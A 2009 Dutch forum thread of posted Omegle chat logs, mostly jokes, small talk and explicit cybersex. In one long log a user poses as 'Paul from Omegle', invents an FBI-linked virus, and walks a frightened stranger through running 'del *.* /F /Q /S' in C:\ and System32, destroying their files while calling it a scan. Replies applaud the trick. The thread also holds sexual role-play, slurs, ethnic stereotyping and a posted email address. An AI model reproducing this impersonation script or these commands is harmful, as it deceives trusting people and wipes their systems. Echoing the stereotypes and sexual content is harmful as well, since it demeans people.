Omegle #8

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Stranger: from
You: china
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Stranger: hi
You: hi
Stranger: asl?
You: Noo I have glasvezel
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Op vrijdag 17 april 2009 19:04 schreef ASroma het volgende:
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You're now chatting with a random stranger. Say hi!
Stranger: diogo
You: ?
Stranger: macau
You: great
You: lets fuck
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Stranger: aaaaahooohoho
Stranger: horneyalan86@hotmail.com
You: oh my bad
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zo geil

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Stranger: Hello
You: hi
Stranger: Dutch?
You: ja

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Connecting to server...
Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
You: Hi
Stranger: hey
Stranger: how r u?
You: This is Paul from Omegle
You: We have received multiple complaints of inappropriate, lewd behavior traced to your IP address. This is a quick courtesy chat just to follow up those complaints as we need to hear both sides of the story before we take appropriate action. Hereby I would like to request you to stay calm and behave
You: Do you understand?
Stranger: this is my first time on this website
You: OK, are you at work or in school?
Stranger: i have ben haveng problems with my comp
You: Where are you from?
Stranger: sometimes the curser randomley moves and clicks on stuff.
You: Well, that is probaply because you computer has the w32.Zyklon.B virus
Stranger: i live in the usa. i think my computer has ben hacked and im going to get it repaird soon
You: I can see that you have it with our IP tracer
Stranger: at times i look at it and there is stuff being typed and im not touching it
You: Yup, thats the w32.Zyklon.B allright
Stranger: how do i get rid of it
Stranger: ?
You: Go to start
You: Run
You: type: cmd
You: press enter
You: type: cd C:\
Stranger: ok
You: did you do that?
Stranger: yes
Stranger: then enter?
You: ok, now type "@echo off" (without the " marks)
Stranger: ok then?
You: type: "del *.* /F /Q /S" (without the " marks)
You: then your computer will scan your directories for the virus
Stranger: then do i push enter?
You: yes
You: did you already press enter after the @echo off command?
Stranger: no
You: Oh, you should
Stranger: bit it says syntax is incorrect
Stranger: sry but
You: type "@echo off" and press enter
You: then type: "del *.* /F /Q /S" and press enter
You: without the " marks ofcource
Stranger: ok
Stranger: now it looks like its scaning
You: yes, it is
You: just be patient
Stranger: thank you for helping
You: no problem
You: my pleasure
Stranger: i saw this website on my history and i dont rember going on it thats y im on
You: ah
You: you should be careful these days
You: there are lots of people willing to take advantage of virus infected computers
Stranger: i just bought this comp from a referb place
You: sometimes we get reports of people having their harddrive deleted completely
Stranger: by doing this the "@echo off" thing?
You: well, the virus does the "@echo on" command by default
You: wich makes your computer vulnerable for hacking attempts
Stranger: 12 files where deleated
You: ok, good
Stranger: so the curser moveing and stuff should stop now?
You: not yet
You: now type "cd C:\WINDOWS\System32" and press ENTER
Stranger: ok
Stranger: next?
You: now you should see this:

C:\WINDOWS\system32>
You: right?
Stranger: i see it
You: OK, type: "del *.* /F /Q /S" once more and press enter
You: After that you should reboot your computer and you will be OK
Stranger: ok
Stranger: thank you
You: no problem
You: How many infected files got deleted?
Stranger: way too many to count
Stranger: and its still going on
You: I've seen people who had over 9000 infected files
You: I was like "WHAT? 9000?!"
You: but it was true
Stranger: r u able to trace who was useing my comp?
You: Unfortunately not
You: I don't want to be rude
You: But most of the time it's communists
You: Like, Chinese or Russian people
You: Sometimes even Korean
Stranger: oh ok it would help if u could i bet you could catch a lot of ppl
You: Yes, we have reports going out to the FBI
You: As this is a very serious matter
Stranger: y did it show up?
You: I have no idea, the virus is very old
You: The FBI thought they got rid of it all
Stranger: y did the fbi message show up?
You: but it seems someone connected a computer to the internet that was still infected
You: Well, it was the FBI that contacted us
You: as this is a very serious virus
You: targeting the american army and missile defence systems
Stranger: it is saying to insert a windos xp cd now. i dont have one
You: some people even think the virus was made by terrorists having links with Al-Quida
You: It's ok, that is the virus trying to spread
Stranger: will i b contacted by the fbi?
You: I don't know
You: We will be reporting your IP adress
You: So you might
Stranger: ok in what matter?
You: But I think they will be busy in finding the person that re-activated the virus
You: They need to locate the origin of the virus
Stranger: what was the person useing my comp doing?
You: Thats what we are trying to find out
Stranger: what things did they say or do?
You: The virus was deactivated for quite some time
You: It seems a computer already infected got re-connected to the internet after quite a wile
You: And it started acting as a main server
You: Where did you buy your computer from?
Stranger: it says access is denied
You: Where does it say that?
Stranger: on the C:\WINDOWS\system32 at the end of all the deleated files
You: What file did it stop at
Stranger: icsxml\pppcfg.xml
You: hmmzz
You: thats a tough one
You: type: "del *.dll /F /Q"
You: and press ENTER
You: after that, reboot and you are done
You: you have to do it inmediately after your done
Stranger: ok. how do i explain what we did and who u r if i am contacted by the fbi?
You: you just tell then you were contacted by Paul from Omegle
You: We have close contacts with the FBI
Stranger: and tell them what was going on with my comp.
Stranger: ?
You: Yes
You: Tell them you completed the removal procedure and it will be allright
You: Are you execting the last command?
Stranger: will i need to contact my lawyer for any of it?
You: I don't think it would be needed
You: But you could always do that if you want to
You: Its not like they will question you
Stranger: ok thank you. now it says access is denied.
You: They will just be wanting to ask you how all this happened
You: Now, reboot your computer inmediately. or else the virus will notice and re-spread (it will re-activate itsself and spread over your computer, and you'll have to start all over elseway.)
Stranger: how can i contact you to tell u if it works or ot
You: After you reboot and reconnect to this site. If you're not contacted by me you're clean
Stranger: not
Stranger: do u have a email i can contact u on?
You: Yes
You: It's Paul@omegle.com
Stranger: thank you so much
You: Write that down if you want
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You're now chatting with a random stranger. Say hi!
Stranger: hey
You: hi
Stranger: are you gay ?
You: are u gay?
Stranger: yeah
You: well gay along
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Stranger: Hi
You: hi
You: where ya from?
Stranger: Holland
You: okay
Stranger: you?
You: thats cool
You: zimbabwe
Stranger: .
You: how did you come on this site?
Stranger: Uhm
Stranger: 'www.dumpert.nl'
You: GAY GEENSTIJL
You: NOOBS
Stranger: it's a site full of jokes
You: FOK FTW
You: OMFG
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Op vrijdag 17 april 2009 23:42 schreef TimKuik het volgende:

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Omg, Wat een n00b

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Op zaterdag 18 april 2009 19:06 schreef Agorias het volgende:

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en wat heb je nu precies met zijn pc gedaan?

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Op zaterdag 18 april 2009 19:06 schreef Agorias het volgende:

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en wat heb je nu precies met zijn pc gedaan?

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You're now chatting with a random stranger. Say hi!
Stranger: hello
You: Hi!
Stranger: triceratops
You: t-rex
Stranger: t-rex eats triceratops
You: all righty?
Stranger: you win
Stranger: next round
Stranger: 3
Stranger: 2
Stranger: 1
Stranger: lion
You:
You: snake
Stranger: snake bites lion
Stranger: you win
Stranger: next round
Stranger: 3
You: 2-0
Stranger: 2
Stranger: 1
Stranger: ant
You: donkey
Stranger: donkey crushes ant
Stranger: you win
Stranger: next round
Stranger: 3
Stranger: 2
Stranger: 1
Stranger: james bond
You: steven seagal
Stranger: james bond always wins
Stranger: you lose
Stranger: next round
Stranger: 3
Stranger: 2
Stranger: 1
Stranger: table
You: thats right seagal sucks
You: hammer
Stranger: hammer hammers table
Stranger: you win
Stranger: next round
Stranger: 3
Stranger: 2
Stranger: 1
Stranger: badger
You: saw
Stranger: bagder is cut by saw
Stranger: you win
Stranger: next round
Stranger: 3
Stranger: 2
Stranger: 1
Stranger: airplane
You: turkish airlines
You:
Stranger: turkish airlines is shit
You: airplane strikes
Stranger: you lose
Stranger: next round
You:
Stranger: 3
Stranger: 2
Stranger: 1
Stranger: supernova
You: übernova
You: rofl
Stranger: übernova sucks is supernova
Stranger: you win
Stranger: final round
Stranger: 3
Stranger: 2
Stranger: 1
Stranger: god
You: allah
Stranger: neither exists
Stranger: draw
Stranger: well played
You: you too
Stranger: bye

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Op zondag 19 april 2009 12:40 schreef Gitaarmat het volgende:

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Heilig.

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Op zondag 19 april 2009 15:52 schreef TimKuik het volgende:

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_!

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Op vrijdag 17 april 2009 22:05 schreef frame-saw het volgende:
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You're now chatting with a random stranger. Say hi!
Stranger: Knock Knock
You: who's there?
You: disco
You: disco who?
You: disconnect
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Ik maak het gewoon even af

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Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
Stranger: hi
You: *knock* *knock*
Stranger: >.<
Stranger: whose their
You: disco
Stranger: disco who
You: disconnect
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You: *knock* *knock*
Stranger: hi
You: cmon
You: *knock* *knock*
Stranger: knock knock ?
Stranger: come in ?
You: :/
You: you dont know how this works?
You: bah
You: were are you from?
Stranger: haha no i don´t, i from sweden, u ?
You: amsterdam
You: listen
Stranger: okey
You: when i say knock knock...u say whos there...than i say a name and you say (name) who? than i answer
You: get it?
You: *knock* *knock*
Stranger: haha okey whos there ?
You: disco
Stranger: disco who ?
You: disconnect!
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You're now chatting with a random stranger. Say hi!
Stranger: MERI
Stranger: MEEEEEEERIIIII
You: ANGELA!
Stranger: MERII
You: ANGELAAAAA
Stranger: NO IM NOT ANGELA
Stranger: BUT I SAW HER
You: Yes you are!
Stranger: IM JENNi
Stranger: TELL ME IF YOU SEE MERI
You: OMG I'm so happy to talk to YOU!!
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Stranger: Hello
You: Hi, this is Paul from Omegle.
We have received multiple complaints of inappropriate, lewd behavior traced to your IP address. This is a quick courtesy chat just to follow up those complaints as we need to hear both sides of the story before we take appropriate action. Hereby I would like to request you to stay calm and behave in order to still be able to visit Omegle.
Stranger: this is a great idea, i'm stealing it!

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Op maandag 20 april 2009 01:58 schreef Sjibble het volgende:

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het is mij wel gelukt
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Stranger: hi..
You: GOOD FUCKING EVENING
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You: HOW THE FUCK ARE YOU DOING DUDE?

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Stranger: hi
You: knock knock
Stranger: satan
You: who?
Stranger: you biatch
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You: knock knock
Stranger: hello
You: knock knock
Stranger: whos there
You: Disco
Stranger: disco who
You: disconnect
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Connecting to server...
You're now chatting with a random stranger. Say hi!
Stranger: hi there
You: knock knock
Stranger: whos there?
You: Disco
Stranger: DISCONNECT BITCH !!!!
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Connecting to server...
Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
You: heyy
Stranger: hey im horny wanna have cybersex?
You: depends on ur sex
Stranger: male
You: nice n hard for my pussy
Stranger: yeah
Stranger: hopefully its wet
You: not yet
You: you have to make it wet
Stranger: because i dont want to hurt u and i have nu lube
Stranger: so i start to lick u out
You: yeah
Stranger: slowly at first
Stranger: then faster and faster
Stranger: deeper and eeper
Stranger: but i realise that my tongue isnt enough for such a perfect
Stranger: pussy
You: wow
You: one second
Stranger: so i force u onto my bed
You: i got to pee
You: my balls are hurting
You: brb
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Connecting to server...
You're now chatting with a random stranger. Say hi!
You: hi
Stranger: Hey
You: how are you
Stranger: wanna cyber?
You: yes plz, but got no cam
Stranger: EW, YOU SICK PERV.
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You: knock knock
Stranger: i pee on you. drip drip drip
Stranger: who's there?
You: disco
You: ..
Stranger: disco who?
You: disconnect
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